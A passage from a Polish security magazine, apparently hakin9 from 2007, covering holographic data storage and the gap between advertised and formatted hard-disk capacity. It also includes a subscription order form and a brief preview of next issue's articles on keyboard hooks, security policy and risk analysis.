niem tych kłopotów są dyski twarde.
Lecz prawda przedstawia się zgoła
odmiennie. Producenci już dzisiaj nie-
bezpiecznie szybko zbliżają się do fi-
zycznej granicy pojemności. W miarę
jej wzrostu przy niezmiennej w zasa-
dzie powierzchni zapisu maleje trwa-
łość zapisu magnetycznego. Powodu-
je to, że wyprodukowanie trwałego, i
co ważniejsze, pojemnego nośnika
danych staje się coraz droższe.

Sposób dziania pamięci

holograficznej

Uzyskanie  olbrzymiej  pojemności
wymaga  zastosowania  zupełnie  in-
nej techniki – holografii. Pomysł ten
zrodził się już w roku 1963, gdy je-
den  z  pracowników  firmy  Polaro-
id – Pieter J. van Heerden zapropo-
nował  trójwymiarowy  zapis  danych.
W chwili obecnej żadna z technolo-
gii oferujących pojemności rzędu se-
tek GB i czas dostępu do dowolnego
obszaru w granicach 100 (mikro)se-
kund nie jest tak bliska wejścia na ry-
nek, jak właśnie holografia.

Najistotniejszymi

elementami

układu zapisująco/odczytującego są
dwie  wiązki  laserowe  padające  na
nośnik pamięciowy, jakim jest krysz-
tał niobianu litu (domieszkowany ato-
mami  żelaza).  Jedna  z  nich  –  węż-
sza – to tzw. wiązka sygnałowa. Za-
wiera  ona  dane,  jakie  mają  być  za-
chowane w krysztale. Wiązka druga
– zwana referencyjną odpowiada za
miejsce w krysztale, w którym dane
przesyłane  wiązką  sygnałową  mają
być zachowane.

Warto wiedzieć, że w tego ty-

pu  pamięciach  nie  istnieje  pojęcie
ścieżki  danych.  Pamięci  hologra-
ficzne  operują  całymi  stronami  da-
nych. Można sobie wyobrazić, że ta-
ki kryształek pokroimy na plasterki o
grubości  rzędu  100  (mikro)metrów
każdy. Taki plasterek to właśnie stro-
na danych przesyłanych przez wiąz-
kę sygnałową. Zapis stronicowy da-
je  olbrzymią  korzyść  –  dużo  szyb-
szy  czas  dostępu  do  danych,  któ-
re  są  odczytywane  analogicznie  do
zapisu  (całymi  stronami)  dzięki  od-
powiedniemu  pozycjonowaniu  wiąz-
ki referencyjnej.

Nośniki holograficzne

Najpopularniejszym,  a  raczej  naj-
powszechniej stosowanym w labora-
toriach nośnikiem danych był wspo-
mniany już kryształ niobianu litu. Nie
jest  to  jednak  jedyna  możliwa  sub-
stancja pozwalająca na holograficz-
ny zapis i odczyt danych. W 1994 fir-
ma  DuPont  wypuściła  na  rynek  fo-
topolimer  o  obiecujących  możliwo-
ściach. Najważniejszą innowacją, ja-
ką wnosił nowy materiał był fakt, że
ów  fotopolimer  pod  wpływem  świa-
tła  nie  ulegał  zmianom  fotorefrak-
cyjnym  (co  ma  miejsce  w  przypad-
ku  wzmiankowanego  już  kryształu)
lecz  przemianie  chemicznej.  Różni-
ca  polega  na  tym,  że  w  przypadku
fotorefrakcji, w krysztale dane są za-
pisywane poprzez odpowiednie roz-
dzielenie  ładunków  elektrycznych  w
strukturze  kryształu,  daje  to  możli-
wość ich późniejszej neutralizacji (co
oznacza  skasowanie  zapisu).  Nato-
miast  naświetlanie  (zapis  danych)
fotopolimeru  wywoływało  nieod-
wracalną reakcję fotochemiczną, co
oznacza, że materiał ten nadaje się
wyłącznie do tworzenia pamięci sta-
łych (ROM).

Olbrzymie pojemności

Warto  zapoznać  się  też  z  niektóry-
mi wynikami osiągniętymi przez na-
ukowców  w  dziedzinie  pamięci  ho-
lograficznych. Np. w 1995 roku nie-
jaki Pu z California Institute of Tech-
nology uzyskał gęstość zapisu 10 bi-
tów  na  1  (mikro)m^2(kwadratowy)
dla  dysku  o  powierzchni  zwykłego

krążka CD, lecz o grubości zaledwie 100 (mikro)m. Jeże-
li zwiększy się grubość materiału holograficznego np. do
ok. 1 mm, to gęstość zapisu powinna osiągnąć wartość
100 bitów/mikrometr kwadratowy. Taki dysk holograficz-
ny byłby identyczny rozmiarami z dzisiejszymi CD, lecz
oferowałby pojemność rzędu 65 GB.

Kolejnym, nie mniej spektakularnym, osiągnięciem

są rezultaty prac naukowców wydziału fizyki University
of Oregon. Udało im się zaobserwować w krysztale o na-
zwie Tm^3+:YAG następujące wyniki: podczas zapisywa-
nia 1760-bitowej sekwencji z szybkością 20 Mbit/s osią-
gnięto gęstość około 8 Gbit/cal kwadratowy zaś transfer
danych z zapisanego już nośnika określono na poziomie
1 Gbit/s. Tak olbrzymie wartości osiągnięto jednak w da-
lekich od domowych warunkach (niskie temperatury, spe-
cjalne soczewki itp.)

Zastosowania

Firma  Holoplex  skonstruowała  szybki  układ  pamięcio-
wy przechowujący wzory linii papilarnych, stosowany we
wszelkiego rodzaju systemach wymagających selektyw-
nego  dostępu.  Co  prawda  pojemność  tego  układu  jest
mniejsza  o  połowę  od  zwykłej  płyty  CD,  lecz  całą  pa-
mięć można odczytać w ciągu jednej sekundy. Warto też
wiedzieć, że użycie układów holograficznych pozwoli na
szersze wykorzystanie kojarzeniowej natury zapisu holo-
graficznego. Czy będziemy więc świadkami rewolucji na
wielką  skalę?  Raczej  nie  –  z  przyczyn  ekonomicznych,
lecz bez względu na sytuację można się pocieszyć tym,
że pamięci nie zginą, ich przyszłość to holografia.

Podsumowanie

Przeglądając  oferty  lub  informacje  dystrybutorów  i  pro-
ducentów  dysków  twardych  niejednokrotnie  dokonuje-
my  wyboru  na  podstawie  parametrów,  jakie  przedsta-
wia dana specyfikacja. Tymczasem w przypadku pojem-
ności informacja podawana na ulotce nie do końca musi
odpowiadać temu, co zobaczymy po sformatowaniu dys-
ku w naszym komputerze. Po pierwsze, dość często spo-
tykanym wybiegiem marketingowym jest podawanie po-
jemności danego dysku w mega- lub w gigabajtach, z za-
strzeżeniem, że 1 MB to 1 000 000 bajtów, a 1 GB to 1
000 000 000 bajtów. Tymczasem stan faktyczny jest inny
– 1 kB równy jest 1024 bajtom, a nie 1000 bajtom. Różni-
ca nie jest co prawda wielka, ale przy olbrzymich pojem-
nościach dzisiejszych dysków te zaokrąglenia powodują,
że różnica pomiędzy informacją producenta a wynikiem
formatowania dysku w komputerze może okazać się za-
skakująca dla nieświadomego takiej polityki użytkownika.
Przykładowo dla dysku o pojemności (przy przeliczniku
1 kB=1000 B) 18 042 MB otrzymamy, że dysk dysponu-
je faktyczną pojemnością ok. 17206,20 MB. Jak więc wi-
dać różnica sięga ponad 800 MB, co jeszcze nie tak daw-
no stanowiło całkowitą pojemność dysku twardego! Dla-
tego też dokonując wyboru musimy pamiętać o tym, w ja-
ki sposób megabajty czy gigabajty są podawane w infor-
macjach producenta. l

Zaprenumeruj swoje ulubione magazyny

i zamów archiwalne numery!

Już teraz w kilka minut możesz zaprenumerować swoje ulubione pismo.
Gwarantujemy:

- preferencyjne ceny
- bezpieczną płatność on-line
- szybką realizację Twojego zamówienia
Bezpieczna prenumerata on-line wszystkich tytułów Wydawnictwa Software!

www.buyitpress.com

zamówienie prenumeraty

Prosimy wypełnić czytelnie i przesłać faksem na numer:

(22) 887 10 11 lub listownie na adres: Software-Wydawnictwo Sp. z o.o.,

Bokserska 1, 02-682 Warszawa, e-mail: pren@software.com.pl. Przyjmujemy też zamówienia telefoniczne:

(22) 887 14 44

Imię i nazwisko............................................................................................ ID kontrahenta..........................................................................................

Nazwa firmy................................................................................................. Numer NIP firmy.......................................................................................

Dokładny adres....................................................................................................................................................................................................................

Telefon (wraz z numerem kierunkowym)................................................... Faks (wraz z numerem kierunkowym) ....................................................

E-mail (niezbędny do wysłania faktury)............................................................................................................................................................................

zamówienie prenumeraty

Cena prenumeraty rocznej dla osób prywatnych

Cena prenumeraty rocznej dla osób prenumerujących już Software Developer’s Journal lub Linux+

Cena prenumeraty dwuletniej Aurox Linux

Jeżeli chcesz zapłacić kartą kredytową, wejdź na

stronę naszego sklepu internetowego:

www.buyitpress.com

automatyczne przedłużenie prenumeraty

Suma

Tytuł

Ilość

numerów

Ilość

zamawianych

prenumerat

Od numeru

pisma lub

miesiąca

Opłata

w zł

z VAT

Software Developer’s Journal (1 płyta CD)

– dawniej Software 2.0

Miesięcznik profesjonalnych programistów

250/180

SDJ Extra

(od 1 do 4 płyt CD lub DVD)

– dawniej Software 2.0 Extra!

Numery tematyczne dla programistów

150/135

Linux+DVD (2 płyty DVD)

Miesięcznik o systemie Linux

199/179

Linux+Extra! (od 1 do 7 płyt CD lub DVD)

Numery specjalne z najpopularniejszymi dystrybucjami Linuksa

232/198

PHP Solutions (1 płyta CD)

Dwumiesięcznik o zastosowaniach języka PHP

135

Hakin9, jak się obronić (1 płyta CD)

Miesięcznik o bezpieczeństwie i hakingu

199

/219

.psd (1 płyta CD + film instruktażowy)

Dwumiesięcznik użytkowników programu Adobe Photoshop

140

.psd numery specjalne

(.psd Extra + .psd Starter Kit)

140

Aurox Linux (4 płyty CD + 1 płyta DVD)

Magazyn z najpopularniejszym polskim Linuksem

119

Aktualne informacje o najbliższym numerze

http://www.hakin9.org/pl
Numer w sprzedaży na początku kwietnia 2007 r.

Redakcja zastrzega sobie prawo zmiany zawartości pisma.

hakin9

4/2007

w następnym numerze

między innymi:

Zapowiedzi

GLOBAL HOOKS-ZAGROŻENIA

I POTENCJALNE MOŻLIWOŚCI

W artykule zawarte będą informacje jak za pomocą global hooks przechwy-
tywać wszystkie zdarzenia związane z klawiaturą, co jest najprostszym spo-
sobem wykradania haseł. Ukazane będzie global hooks w programowaniu
np. poprzez utworzenie nowego ogólnego skrótu klawiatury zmieniającego
ustawienia okna aplikacji na (“zawsze na wierzchu”). Autor skupi się także
na generowaniu prawdziwych liczb losowych, co jest zagadnieniem bardzo
ciekawym z punktu widzenia kryptografii.

Z NOTATNIKA BEZPIECZNIKA

O wyższości Świąt Bożego Narodzenia nad Świętami Wielkiej Nocy- temat
tajniki budowy dobrej Polityki Bezpieczeństwa Informacji, który jest formą
wprowadzenia do głównego tematu jakim będzie audyt bezpieczeństwa
informacji dla opornych czyli jak zapewnić przydatność wyników badania.

ANALIZA RYZYKA JAKO DROGA WYJŚCIO-

WA DO SPRAWNEGO SYSTEMU ZARZĄDZANIA

BEZPIECZEŃSTWEM INFORMACJI

Analiza ryzyka jest fundamentem wdrażania systemu zarządzania bezpie-
czeństwem informacji. Na podstawie jej wyników określa się jakie obszary,
informacje, aktywa, ludzie są dla firmy najważniejsze i jakie należy zastoso-
wać procedury, technologię do zminimalizowania ryzyka bezpieczeństwa z
nimi związanymi. Przeprowadzenie analizy ryzyka jest niezbędne i odbywa
się z najwyższym kierownictwem. Wyróżnia się cztery pozycje związane z
ryzykiem i na podstawie wyników określa się również kiedy dane zabezpie-
czenia (i jakie) musza być wdrożone i monitorowane.

NA CD:
•  hakin9.live-bootowalna dystrybucja Linuksa,
•  mnóstwo narzędzi – niezbędnik hakera,
•  tutoriale – praktyczne ćwiczenia zagadnień poruszanych w artykułach,
•  dodatkowa dokumentacja,
•  pełne wersje komercyjnych aplikacji.

Atak

Obrona

Atak